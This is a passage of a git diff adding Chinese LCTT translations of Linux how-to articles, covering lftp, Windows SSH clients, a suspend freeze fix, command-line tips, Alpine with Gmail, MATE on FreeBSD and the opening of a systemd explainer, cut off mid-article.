+在网络共享一段时间后,我们也需要移除其中的一些文件夹。操作很简答,下面就是我们要做的。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/remove-shared-folder-from-network.jpg) + +全部搞定!我们也可以使用终端进行网络文件共享,但这样没有本文介绍的方法这么容易。如果你确实想知道命令行操作,我会再写一篇关于在Linux上使用命令行实现网络文件共享的文章。 + +所以,你是怎么找到这篇教程的呢?我希望看了这篇教程你可以**很容易地在Ubuntu和Windows之间共享文件**。如果你有任何问题或建议,请在评论里说出来。 + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/share-folders-local-network-ubuntu-windows/ + +作者:[Mohd Sohail][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/sohail/ +[1]:http://en.wikipedia.org/wiki/Samba_%28software%29 +[2]:http://itsfoss.com/request-tutorial/ diff --git a/published/201505/20150306 How to Setup lftp--A Simple Command line FTP Program.md b/published/201505/20150306 How to Setup lftp--A Simple Command line FTP Program.md new file mode 100644 index 0000000000..6f7d3b047f --- /dev/null +++ b/published/201505/20150306 How to Setup lftp--A Simple Command line FTP Program.md @@ -0,0 +1,174 @@ +LFTP : 一个功能强大的命令行FTP程序 +================================================================================ +大家好,这篇文章是介绍Lftp以及如何在Linux操作系统下安装的。[Lftp][1]是一个基于命令行的文件传输软件(也被称为FTP客户端),由Alexander Lukyanov开发并以GNU GPL协议许可发行。除了FTP协议外,它还支持FTPS,HTTP,HTTPS,HFTP,FISH,以及SFTP等协议。这个程序还支持FXP,允许数据绕过客户端直接在两个FTP服务器之间传输。 + +它有很多很棒的高级功能,比如递归镜像整个目录树以及断点续传下载。传输任务可以安排在稍后的时间段计划执行,可以限制带宽,可以创建传输列表,还支持类似Unix shell的任务控制。客户端还可以在交互式或自动脚本里使用。 + +### 安装Lftp ### + +在运行lftp之前,我们需要确定它已经正确安装在我们的Linux发行版中了。下面是在常见Linux发行版中安装lftp的一些命令。 + +**Ubuntu 14.04 LTS** + +在Ubuntu 14.04 LTS以及它的衍生版中,我们可以通过apt管理程序安装lftp。要安装它,我们需要使用sudo权限在shell或终端里运行下面的命令。 + + $ sudo apt-get install lftp + +![ubuntu install lftp](http://blog.linoxide.com/wp-content/uploads/2015/03/ubuntu-install-lftp.png) + +**CentOS/Fedora/RHEL** + +因为在Fedora,CentOS和RHEL的软件仓库里也能找到lftp,我们可以用**yum**管理程序来安装它。 + + $ sudo yum install lftp + +![fedora lftp](http://blog.linoxide.com/wp-content/uploads/2015/03/fedora-lftp.png) + +**Arch Linux** + +在Arch Linux安装包仓库里也有,我们可以简单地使用pacman来安装它。 + + $ sudo pacman -S lftp + +![archlinux install lftp](http://blog.linoxide.com/wp-content/uploads/2015/03/archlinux-install-lftp.png) + +**OpenSuse** + +OpenSuse系统里的包管理软件Zypper可以用来安装lftp。下面是在OpenSuse机器上用来安装的命令。 + + $ sudo zypper install lftp + +![opensuse lftp install](http://blog.linoxide.com/wp-content/uploads/2015/03/lftp_install.png) + +### 登录 ### + +要登录到ftp服务器或sftp服务器,我们首先需要知道所要求的认证信息,比如用户名,密码,端口。 + +之后,我们可以通过lftp来登录。 + + $ lftp ftp://linoxide@localhost + +![ftp login](http://blog.linoxide.com/wp-content/uploads/2015/03/lftp-login.png) + +如果需要指定登录端口,我们可以按下面的方式加上去。 + + $ lftp ftp://linoxide@localhost:21 + +![ftp login with ports](http://blog.linoxide.com/wp-content/uploads/2015/03/lftp-login-port.png) + +### 导航 ### + +我们可以用**ls**命令来列出文件和目录,用**cd**命令进入到目录。 + +![ls and cd](http://blog.linoxide.com/wp-content/uploads/2015/03/ls-cd-lftp.png) + +### 上传和下载文件 ### + +我们可以用**pget**命令来从远端服务器下载文件。 + + > pget linspeed.svg + +![pget lftp](http://blog.linoxide.com/wp-content/uploads/2015/03/pget-lftp.png) + +我们可以用**put**命令来上传文件到远端服务器。 + + > put linoxide.tar + +![upload with put](http://blog.linoxide.com/wp-content/uploads/2015/03/put-upload.png) + +要恢复之前只下载了一部分的文件/目录,我们可以用-c开关: + + > mirror -c Directory + + >pget -c linoxide.tar + + > put -c upload.tar + +### 使用镜像命令 ### + +我们可以用mirror命令来下载所指定的整个目录。 + + > mirror remote local + +![download with mirror](http://blog.linoxide.com/wp-content/uploads/2015/03/mirror.png) + +还可以做反向镜像(mirror -R),可以用来上传或更新本地目录树到服务器上。 + + > mirror -R local remote + +![upload or update with mirror reverse](http://blog.linoxide.com/wp-content/uploads/2015/03/mirror-reverse.png) + +要恢复之前下载了一部分的文件/目录,我们可以用-c开关: + + > mirror -c Directory + +### 下载队列 ### + +我们可以在lftp里使用queue的选项,这样我们可以像基于GUI的客户端那样挨个下载队列里选择的文件。下面举个例子。 + +为了避免队列自动开始传输,我们可以这样做: + + > queue stop + +现在,我们添加任务到队列。 + + > queue mirror "directory" + + > queue pget "file.tar" + +在建立好队列后,我们再运行queue start命令。 + + > queue start + +可以运行下面的命令移除整个队列。 + + > queue -d + +### 分块下载 ### + +下面是一个把一个文件分成3块来下载的例子,你可以根据自己的需要调整。 + +使用pget命令分块功能的方式是**pget -n 3 file.tar**,里面的3是分块的数目。 + + > pget -n 3 file.tar + +使用mirror命令分块功能的方式是**mirror --use-pget-n=3 directory**,里面的3是分块的数目。 + + > mirror --use-pget-n=3 linxoxide + +我们可以用jobs -v命令来查看每个独立分块的下载速度以及整体速度。 + +### 停止,继续或删除一次传输任务 ### + +要取消传输我们可以按下Ctrl+C。而要恢复下载我们可以像下面那样使用-c (--continue)开关。 + + > mirror -c directory + +要删除一次正在正在传输的任务我们可以用**kill**命令,而要删除所有任务我们可以使用下面那样的**kill all**命令。 + + > kill + + > kill all + +### 退出 ### + +要从lftp退出,我们需要在终端或lftp交互接口中运行exit命令。 + + > exit + +### 总结 ### + +哇!我们已经成功地安装了lftp并学会了它的一些基础的主要使用方式。lftp是一个非常棒的命令行ftp客户端,它支持许多额外的功能以及很酷的特性。它比其他普通ftp客户端多了很多东西。好吧,你要是有任何问题,建议,反馈,请在下面的评论区里留言。谢谢!享用lftp吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/setup-lftp-command-line-ftp/ + +作者:[Arun Pyasi][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://lftp.yar.ru/ diff --git a/published/201505/20150309 List Of Free Windows SSH Client Tools To Connect To Your Linux Server .md b/published/201505/20150309 List Of Free Windows SSH Client Tools To Connect To Your Linux Server .md new file mode 100644 index 0000000000..d75ecbb555 --- /dev/null +++ b/published/201505/20150309 List Of Free Windows SSH Client Tools To Connect To Your Linux Server .md @@ -0,0 +1,82 @@ +Windows 下的免费 SSH 客户端工具 +================================================================================ + +如果你的操作系统是 Windows,而你想要连接 Linux 服务器相互传送文件,那么你需要一个简称 SSH 的 Secure Shell 软件。实际上,SSH 是一个网络协议,它允许你通过网络连接到 Linux 和 Unix 服务器。SSH 使用公钥加密来认证远程的计算机。你可以有多种途径使用 SSH,无论是自动连接,还是使用密码认证登录。 + +本篇文章介绍了几种可以连接 Linux 服务器 SSH 客户端。 + +让我们开始。 + +### Putty ### + +**Putty** 是最有名的 SSH 和 telnet 客户端,最初由 Simon Tatham 为 Windows 平台开发。Putty 是一款开源软件,有可用的源代码,和一群志愿者的开发和支持。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/putty.png) + +Putty 非常易于安装和使用,通常大部分的配置选项你都不需要修改。你只需要输入少量基本的参数,就可以开始很简单地建立连接会话。[点此下载][1] Putty。 + +### Bitvise SSH Client ### + +**Bitvise SSH** 是一款支持 SSH 和 SFTP 的 Windows 客户端。由 Bitvise 开发和提供专业支持。这款 SSH 客户端性能强悍,易于安装、便于使用。Bitvise SSH 客户端拥有功能丰富的图形界面,通过一个有自动重连功能的内置代理进行动态端口转发。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/bitvise.png) + +Bitvise SSH 客户端对**个人用户使用是免费的**,同时对于在组织内部的个人商业使用也一样。你可以[在这里下载 Bitvise SSH 客户端][2]。 + +### MobaXterm ### + +**MobaXterm** 是你的**远程计算的终极工具箱**。在一个 Windows 应用里,它为程序员、网管、IT 管理员及其它用户提供了精心裁剪的一揽子功能,让他们的远程操作变得简约时尚。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/mobaxterm.png) + +MobaXterm 提供了所有重要的**远程网络工具** (如SSH、 X11、 RDP、 VNC、 FTP、 MOSH 等等),以及 Windows 桌面上的 **Unix 命令**(bash、 ls、 cat、sed、 grep、 awk、 rsync等等),而这些都是由一个开箱即用的**单一的便携程序**所提供。MobaXterm 对**个人使用免费**,你可以[在这里][3]下载 MobaXterm。 + +### DameWare SSH ### + +我认为 **DameWare SSH** 是最好的免费SSH客户端。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/ssh.png) + +这个免费工具是一个终端模拟器,可以让你从一个易用的控制台建立多个 telnet 和 SSH 连接。 + +-用一个带标签的控制台界面管理多个会话 +-将常用的会话保存在 Windows 文件系统中 +-使用多套保存的证书来轻松登录不同的设备 +-使用 telnet、SSH1 和 SSH2 协议连接计算机和设备 + +你可以从[这个链接][4]下载 **DameWare SSH**。 + +### SmarTTY ### +  +SmarTTY 是一款免费的多标签 SSH 客户端,支持使用 SCP 命令随时复制文件和目录。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/smart.png) + +大多数 SSH 服务器每个连接支持最多10个子会话.SmarTTY 在这方面做得很好:没有烦人的多个窗口,不需要重新登录,仅仅打开一个新的标签页就可以开始了! + +### Cygwin ### + +Cygwin 是一款 GNU 和开源工具的大杂烩,提供的功能近似于一个 Windows 平台下的 Linux。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/cyq.png) + +**Cygwin** 包括了一个称为模拟库的 Unix 系统:cygwin.dll,集成了大量的 GNU 和其它的免费软件,以大量的可选包方式组织而成。在这些安装包中,有高质量的编译器和其他软件开发工具、一个X11服务器、一套完整的X11开发套件、GNU emacs 编辑器、Tex 和 LaTeX、openSSH(客户端和服务器),除此之外还有很多,包括在微软 Windows 下需要编译和使用 PhysioToolkit 软件的每一样东西。 + +读完我们的文章后,不知你中意哪一款 SSH 客户端?你可以留下你的评论,描述你喜欢的系统和选择的原因。当然,如果有另外的 SSH 客户端没有被本文列举出来,你可以帮助我们补充。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/list-free-windows-ssh-client-tools-connect-linux-server/ + +作者:[anismaj][a] +译者:[wi-cuckoo](http://github.com/wi-cuckoo) +校对:[wxy](http://github.com/wxy) + +本文由 [LCTT](http://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/anis/ +[1]:http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html +[2]:http://www.bitvise.com/download-area +[3]:http://mobaxterm.mobatek.net/download.html +[4]:http://www.dameware.com/downloads/registration.aspx?productType=ssh&AppID=17471&CampaignID=70150000000PcNM +[5]:http://cygwin.com/packages/ diff --git a/published/201505/20150310 [Fixed] Keyboard And Mouse Freeze After Suspend In Ubuntu 14.04 [Quick Tip].md b/published/201505/20150310 [Fixed] Keyboard And Mouse Freeze After Suspend In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..320ca3da60 --- /dev/null +++ b/published/201505/20150310 [Fixed] Keyboard And Mouse Freeze After Suspend In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,29 @@ +修复 Ubuntu 14.04 从待机中唤醒后鼠标键盘出现僵死情况 +========= + +### 问题: ### + +当Ubuntu14.04或14.10从睡眠和待机状态恢复时,鼠标和键盘出现僵死,不能点击也不能输入。解决这种情况是唯一方法就是按关机键强关系统,这不仅非常不便且令人恼火。因为在Ubuntu的默认情况中合上笔记本等同于切换到睡眠模式。 + +在这篇短文中,我们将学会如何解决Ubuntu14.04和14.10中出现的鼠标僵死问题。 + +### Ubuntu14.04唤醒后鼠标僵死的解决办法 ### + +这个问题的是由内核升级导致的。为何导致这一情况不得而知,但是看起来好像仅需重装输入设备的驱动就能解决了。 + + sudo apt-get install --reinstall xserver-xorg-input-all + +这则贴士源自一个我们的读者Dev的提问。快试试这篇贴士,看看是否对你也有效。在一个类似的问题中,你可以[修复Ubuntu登录后无Unity界面、侧边栏和Dash的问题][1]。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/keyboard-mouse-freeze-suspend/ + +作者:[Abhishek][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/how-to-fix-no-unity-no-launcher-no-dash-in-ubuntu-12-10-quick-tip/ \ No newline at end of file diff --git a/published/201505/20150316 5 Interesting Command Line Tips and Tricks in Linux--Part 1.md b/published/201505/20150316 5 Interesting Command Line Tips and Tricks in Linux--Part 1.md new file mode 100644 index 0000000000..9344d8c482 --- /dev/null +++ b/published/201505/20150316 5 Interesting Command Line Tips and Tricks in Linux--Part 1.md @@ -0,0 +1,132 @@ +5个有趣的Linux命令行技巧 +================================================================================ +你有将Linux物尽其用吗?对很多Linux用户来说,有很多看起来是技巧的有用特性。有些时候你会需要这些技巧。本文会帮助你更好得使用一些命令,发挥其更强大的功能。 + +![5个命令行技巧](http://www.tecmint.com/wp-content/uploads/2015/03/5-Command-Line-Tips.jpg) + +*图1:5个命令行技巧* + +我们开始一个新的系列,在这里我们还会写一些技巧,并且用尽量小的篇幅写清楚。 + +### 1. 我们可以使用[`history`命令][1]来查看曾经运行过的命令。 ### + +这里是一个`history`命令的示例输出。 + + # history + +![history命令例子](http://www.tecmint.com/wp-content/uploads/2015/03/history-command.gif) + +*图2:history命令例子* + +从`history`命令输出看,很明显,命令的执行时间没有被打出来。有解决方法吗?有的!运行如下命令: + + # HISTTIMEFORMAT="%d/%m/%y %T " + # history + +如果你想让这个修改永久生效,添加如下的一行内容到`~/.bashrc`文件中: + + export HISTTIMEFORMAT="%d/%m/%y %T " + +然后,在终端中运行: + + # source ~/.bashrc + +命令和选项的解释: + +- history – 查看运行过的命令 +- HISTIMEFORMAT – 设置时间格式的环境变量 +- %d – 天 +- %m – 月 +- %y – 年 +- %T – 时间戳 +- source – 简而言之就是将文件内容发送给shell来执行 +- .bashrc – BASH以交互方式启动时运行的脚本文件 + +![history命令输出的日志](http://www.tecmint.com/wp-content/uploads/2015/03/History-Command-Logs.gif) + +*图3:`history`命令输出的日志* + +### 2. 如何测试磁盘写入速度?### + +一行`dd`命令脚本就可以实现。 + + # dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img + +![dd命令例子](http://www.tecmint.com/wp-content/uploads/2015/03/dd-Command-Example.gif) + +*图4:`dd`命令例子* + +命令和选项的解释: + +- dd – 转换和复制文件 +- if=/dev/zero – 指定输入文件,默认为stdin(标准输入) +- of=/tmp/output.img – 指定输出文件,默认为stdout(标准输出) +- bs – 一次读和写的块大小,最大可以以MB为单位 +- count – 复制次数 +- conv – 使用逗号分隔的策略来转换文件(LCTT 译注:比如将大写字母转换成小写,echo AA | dd conv=lcase) +- rm – 删除文件和目录 +- -rf – (-r) 递归地删除目录和其中的内容,(-f)强行删除而不输出确认信息 + +### 3. 你如何获取吃掉你磁盘空间的最大的6个文件?### + +一个使用[`du`命令][2]的简单单行脚本即可实现,`du`命令主要用于获取文件的空间使用情况。 + + # du -hsx * | sort -rh | head -6 + +![获取磁盘空间使用情况的方法](http://www.tecmint.com/wp-content/uploads/2015/03/check-disk-space-usage.gif) + +*图5:获取磁盘空间使用情况的方法* + +命令和选项的解释: + +- du – 估计文件的空间使用情况 +- -hsx – (-h)更易读的格式,(-s)汇总输出,(-x)跳过其他文件系统的文件 +- sort – 对文本文件按行排序 +- -rf – (-r)将比较的结果逆序输出,(-f)忽略大小写 +- head – 输出文件的头几行 + +### 4. 获取一个文件的详细状态信息### + +可以使用`stat`命令 + + # stat filename_ext (例如:stat abc.pdf) + +![获取文件的详细信息](http://www.tecmint.com/wp-content/uploads/2015/03/Check-File-Statistics.gif) + +*图6:获取文件的详细信息* + +### 5. 显示帮助 ### + +最后一个技巧是为那些入门者准备的,如果你是有经验的用户,可能不需要它,除非你想从中寻找乐趣。入门者可能有Linux命令行恐惧症,下面的命令会随机显示一个man手册页。对入门者来说,好处是总会学到新的东西,而且不会厌倦。 + + # man $(ls /bin | shuf | head -1) + +![查看随机的man手册页](http://www.tecmint.com/wp-content/uploads/2015/03/Generate-Random-Man-Pages.gif) + +*图7:查看随机的man手册页* + +命令和选项的解释: + +- man – Linux man手册 +- ls – 列出文件 +- /bin – 系统可执行文件的路径 +- shuf – 把输入内容按行随机打乱并输出 +- head – 输出文件的头几行 + +这就是所有的内容了。如果你知道任何类似的技巧,可以分享给我们,我们会用你的语言在网站上发表出来。 + +不要忘记在下边评论框中留下有价值的反馈。保持联系。可以点赞或者将本文分享来帮助我们更好地传播内容。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/5-linux-command-line-tricks/ + +作者:[Avishek Kumar][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-1143-1.html +[2]:http://www.tecmint.com/check-linux-disk-usage-of-files-and-directories/ \ No newline at end of file diff --git a/published/201505/20150316 How to access Gmail from the command line on Linux with Alpine.md b/published/201505/20150316 How to access Gmail from the command line on Linux with Alpine.md new file mode 100644 index 0000000000..0d78b2fd34 --- /dev/null +++ b/published/201505/20150316 How to access Gmail from the command line on Linux with Alpine.md @@ -0,0 +1,101 @@ +如何在 Linux 中使用 Alpine 在命令行里访问 Gmail +================================================================================ + +假如你是一个命令行爱好者,我很确信你会使用这个强大的工作环境来执行哪怕是一项日常任务的工具,并为之欢呼,例如从 [安排日程][1] 、 [管理财务][2] 到 获取 [Facebook][3] 、[Twitter][4]等任务。(LCTT 译注:阅读本文的另一个前提是,假如你还能访问 Gmail 或者知道 Gmail 是什么的话。) + +在这个帖子中,我将为你展示 Linux 命令行的另一个漂亮干练的使用案例:**访问 Google 的 Gmail 服务**,为此,我们将使用 Alpine,一个基于 ncurses 的多功能命令行邮件客户端(不要和 Alpine Linux 搞混淆)。我们将在 Alphine 中配置 Gmail 的 IMAP 和 SMTP 设定,通过 Google 的邮件服务器在终端环境中收取和发送邮件。在这个教程的最后,你将发现只需几步就可以在 Alpine 中使用其他的邮件服务。 + +诚然,已有许多卓越的基于 GUI 的邮件客户端存在,例如 Thunderbird, Evolution 或者甚至是 Web 界面,那么为什么还有人对使用命令行的邮件客户端来收取 Gmail 这样的事感兴趣呢?答案很简单。假如你需要快速地处理好事情并想避免浪费不必要系统资源;或者你正工作在一个精简安装无操作台的服务器上,它没有安装用于图形显示的 X 服务;又或者是 X 服务在你的桌面上崩溃了,而你需要在解决这个问题之前急切地发送一些邮件。在上述所有的情况下, Alpine 都可以派上用场并在任何时间满足你的需求。 + +除了简单的编辑,发送和接收文本类的邮件信息等功能外, Alpine 还可以进行加密,解密和对邮件信息进行数字签名,以及与 TLS(注:Transport Layer Security,传输层加密)无缝集成。 + +### 在 Linux 上安装 Alpine ### + +在基于 Red Hat 的发行版本上,可以像下面那样来安装 Alpine。需要注意的是,在 RHEL 或 CentOS 上,你需要首先启用 [EPEL 软件仓库][5]。 + + # yum install alpine + +在 Debian,Ubuntu 或它们的衍生发行版本上,你可以这样做: + + # aptitude install alpine + +在安装完成后,你可以运行下面的命令来启动该邮件客户端: + + # alpine + +在你第一次启用 Alpine 时,它将在当前用户的家目录下创建一个邮件文件夹(`~/mail`),并显现出主界面,正如下面的视频所显示的那样:YOUTUBU 视频 - http://www.youtube.com/kuKiv3uze4U 。 + +它的用户界面有下列几个模块: + +![](https://farm9.staticflickr.com/8724/16618079590_6c236ce2c2_c.jpg) + +请随意地浏览、操作来熟悉 Alpine。你总是可以在任何时候通过敲 'Q' 来回到命令提示符界面。请注意,所有的字符界面下方都有与操作相关的帮助。 + +在进一步深入之前,我们将为 Alpine 创建一个默认的配置文件。为此,请关闭 Alpine,然后在命令行中执行下面的命令: + + # alpine -conf > /etc/pine.conf + +### 配置 Alpine 来使用 Gmail 账号 ### + +当你安装了 Alpine 并至少花费了几分钟的时间来熟悉它的界面和菜单,下面便是实际配置它来使用一个已有的 Gmail 账户的时候了。 + +在 Alpine 中执行下面的步骤之前,记得首先要通过你的 Web 邮件界面,在你的 Gmail 设定里启用 IMAP 协议。一旦在你的 Gmail 账户中启用了 IMAP ,执行下面的步骤来在 Alpine 中启用阅读 Gmail 信息的功能。 + +首先,启动 Alpine。 + +按 'S' 来进行设置,再按 'L' 选择 `collectionLists` 选项来定义不同的文件夹类别以帮助你更好地组织你的邮件: + +![](https://farm8.staticflickr.com/7614/16779579656_690eda419c_o.png) + +按 'A' 来新建一个文件夹并填写必要的信息: + +- **Nickname**: 填写任何你想写的名字; +- **Server**: imap.gmail.com/ssl/user=yourgmailusername@gmail.com + +你可以将 `Path` 和 `View` 留白不填。 + +然后按 `Ctrl+X` 并在提示时输入你的 Gmail 密码: + +![](https://farm9.staticflickr.com/8611/16618079640_6f7dca336a_b.jpg) + +假如一切如预期一样进展顺利,就会出现一个以你先前填写的昵称来命名的新文件夹。你应该可以在这里找到你的 Gmail 信箱: + +![](https://farm8.staticflickr.com/7598/16804355052_10c1a6c5bd_b.jpg) + +要验证的话,你可以比较在 Alpine 中显示的 "Gmail Sent" 信箱和在 Web 界面下的信箱: + +![](https://farm8.staticflickr.com/7602/16619323939_d2eab3e162_c.jpg) + +默认情况下,每隔 150 秒,它将自动检查新邮件或提示,你可以在文件 `/etc/pine.conf`中改变这个值,同时你还可以修改许多其他设定。这个配置文件拥有详细且清晰的注释。例如,为了将检查新邮件的时间间隔设定为 10 秒,你需要这样设定: + + # The approximate number of seconds between checks for new mail + mail-check-interval=10 + +最后,我们需要配置一个 SMTP 服务器来通过 Alpine 发送邮件。回到先前解释过的 Alpine 的设置界面,然后按 'C' 来设定一个 Google 的 SMTP 服务器地址,你需要像下面这样编辑 `SMTP Server`(用于发送邮件)这一行内容: + + smtp.gmail.com:587/tls/user=yourgmailusername@gmail.com + +当你按 'E' 离开设定界面时,将会提醒你保存更改。一旦你保存了更改,马上你就可以通过 Alpine 来发送邮件了!为此,来到主菜单中的 `Compose` 选项,接着开始从命令行中操作你的 Gmail 吧。 + +### 总结 ### + +在这个帖子里,我们讨论了在终端环境中如何通过一个名为 Alpine 的轻量且强大的命令行邮件客户端来访问 Gmail。 Alpine 是一个发布在 Apache Software License 2.0 协议下的自由软件,该协议与 GPL 协议相兼容。 Alpine 引以自豪的是:它不仅对新手友好,同时还做到了让那些经验丰富的系统管理员认为它是强大的。我希望在你阅读完这篇文章后,你能意识到我最后一个论断是多么的正确。 + +非常欢迎使用下面的输入框来留下你的评论或问题。我期待着你们的反馈! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/gmail-command-line-linux-alpine.html + +作者:[Gabriel Cánepa][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://xmodulo.com/schedule-appointments-todo-tasks-linux-terminal.html +[2]:http://xmodulo.com/manage-personal-expenses-command-line.html +[3]:http://xmodulo.com/access-facebook-command-line-linux.html +[4]:http://xmodulo.com/access-twitter-command-line-linux.html +[5]:https://linux.cn/article-2324-1.html diff --git a/published/201505/20150316 Install Mate desktop in FreeBSD 10.1.md b/published/201505/20150316 Install Mate desktop in FreeBSD 10.1.md new file mode 100644 index 0000000000..ed4aa9d18b --- /dev/null +++ b/published/201505/20150316 Install Mate desktop in FreeBSD 10.1.md @@ -0,0 +1,61 @@ +在FreeBSD 10.1中安装Mate桌面 +================================================================================ +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/03/FreeBSD-790x494.jpg) + +FreeBSD是全文本模式的系统,然而有些新用户想要使用GUI桌面环境。这个教程就是帮助你在Freebsd 10.1中安装Mate桌面。 + +下面是我的系统细节: + + root@Freebsd-unixmen:~ # uname -a + FreeBSD Freebsd-unixmen 10.1-RELEASE FreeBSD 10.1-RELEASE #0 r274401: Tue Nov 11 21:02:49 UTC 2014 root@releng1.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 + root@Freebsd-unixmen:~ + +要在FreeBSD 10.1 中开始安装Mate桌面,按照下面的步骤。 + + pkg install xf86-video-fbdev mate-desktop mate xorg + +### 在 /etc/rc.conf 中加入下面的行 ### + + moused_enable="YES" + dbus_enable="YES" + hald_enable="YES" + +### 测试安装 ### + + xinit mate-session + +![](http://www.unixmen.com/wp-content/uploads/2015/03/snapshot2.png) + +Mate本身没有显示管理器。因此我们会使用其他的显示管理器如XDM、GDM、slim等等来作为登录管理器。这里让我们看看如何在Mate桌面中配置Slim DM + +### 安装 Slim ### + + pkg install slim + +在**/etc/rc.conf**中加入下面的行: + + slim_enable="YES" + +在用户的家目录下的.xinitrc文件加入下面的行。 + + exec mate-session + +重启电脑。现在在你登录Mate时就会进入Slim登录界面了。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/snapshot3.png) + +![](http://www.unixmen.com/wp-content/uploads/2015/03/snapshot4.png) + +就是这样。干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-mate-desktop-freebsd-10-1/ + +作者:[M.el Khamlichi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ diff --git a/published/201505/20150316 Systemd Boot Process a Close Look in Linux.md b/published/201505/20150316 Systemd Boot Process a Close Look in Linux.md new file mode 100644 index 0000000000..747e946925 --- /dev/null +++ b/published/201505/20150316 Systemd Boot Process a Close Look in Linux.md @@ -0,0 +1,153 @@ +走进Linux之systemd启动过程 +================================================================================ + +Linux系统的启动方式有点复杂,而且总是有需要优化的地方。传统的Linux系统启动过程主要由著名的init进程(也被称为SysV init启动系统)处理,而基于init的启动系统被认为有效率不足的问题,systemd是Linux系统机器的另一种启动方式,宣称弥补了以[传统Linux SysV init][2]为基础的系统的缺点。在这里我们将着重讨论systemd的特性和争议,但是为了更好地理解它,也会看一下通过传统的以SysV init为基础的系统的Linux启动过程是什么样的。友情提醒一下,systemd仍然处在测试阶段,而未来发布的Linux操作系统也正准备用systemd启动管理程序替代当前的启动过程(LCTT 译注:截止到本文发表,主流的Linux发行版已经有很多采用了 systemd)。 + +### 理解Linux启动过程 ### + +在我们打开Linux电脑的电源后第一个启动的进程就是init。分配给init进程的PID是1。它是系统其他所有进程的父进程。当一台Linux电脑启动后,处理器会先在系统存储中查找BIOS,之后BIOS会检测系统资源然后找到第一个引导设备,通常为硬盘,然后会查找硬盘的主引导记录(MBR),然后加载到内存中并把控制权交给它,以后的启动过程就由MBR控制。 + +主引导记录会初始化引导程序(Linux上有两个著名的引导程序,GRUB和LILO,80%的Linux系统在用GRUB引导程序),这个时候GRUB或LILO会加载内核模块。内核会马上查找/sbin下的“init”程序并执行它。从这里开始init成为了Linux系统的父进程。init读取的第一个文件是/etc/inittab,通过它init会确定我们Linux操作系统的运行级别。它会从文件/etc/fstab里查找分区表信息然后做相应的挂载。然后init会启动/etc/init.d里指定的默认启动级别的所有服务/脚本。所有服务在这里通过init一个一个被初始化。在这个过程里,init每次只启动一个服务,所有服务/守护进程都在后台执行并由init来管理。 + +关机过程差不多是相反的过程,首先init停止所有服务,最后阶段会卸载文件系统。 + +以上提到的启动过程有一些不足的地方。而用一种更好的方式来替代传统init的需求已经存在很长时间了。也产生了许多替代方案。其中比较著名的有Upstart,Epoch,Muda和Systemd。而Systemd获得最多关注并被认为是目前最佳的方案。 + +### 理解Systemd ### + +开发Systemd的主要目的就是减少系统引导时间和计算开销。Systemd(系统管理守护进程),最开始以GNU GPL协议授权开发,现在已转为使用GNU LGPL协议,它是如今讨论最热烈的引导和服务管理程序。如果你的Linux系统配置为使用Systemd引导程序,它取替传统的SysV init,启动过程将交给systemd处理。Systemd的一个核心功能是它同时支持SysV init的后开机启动脚本。 + +Systemd引入了并行启动的概念,它会为每个需要启动的守护进程建立一个套接字,这些套接字对于使用它们的进程来说是抽象的,这样它们可以允许不同守护进程之间进行交互。Systemd会创建新进程并为每个进程分配一个控制组(cgroup)。处于不同控制组的进程之间可以通过内核来互相通信。[systemd处理开机启动进程][2]的方式非常漂亮,和传统基于init的系统比起来优化了太多。让我们看下Systemd的一些核心功能。 + +- 和init比起来引导过程简化了很多 +- Systemd支持并发引导过程从而可以更快启动 +- 通过控制组来追踪进程,而不是PID +- 优化了处理引导过程和服务之间依赖的方式 +- 支持系统快照和恢复 +- 监控已启动的服务;也支持重启已崩溃服务 +- 包含了systemd-login模块用于控制用户登录 +- 支持加载和卸载组件 +- 低内存使用痕迹以及任务调度能力 +- 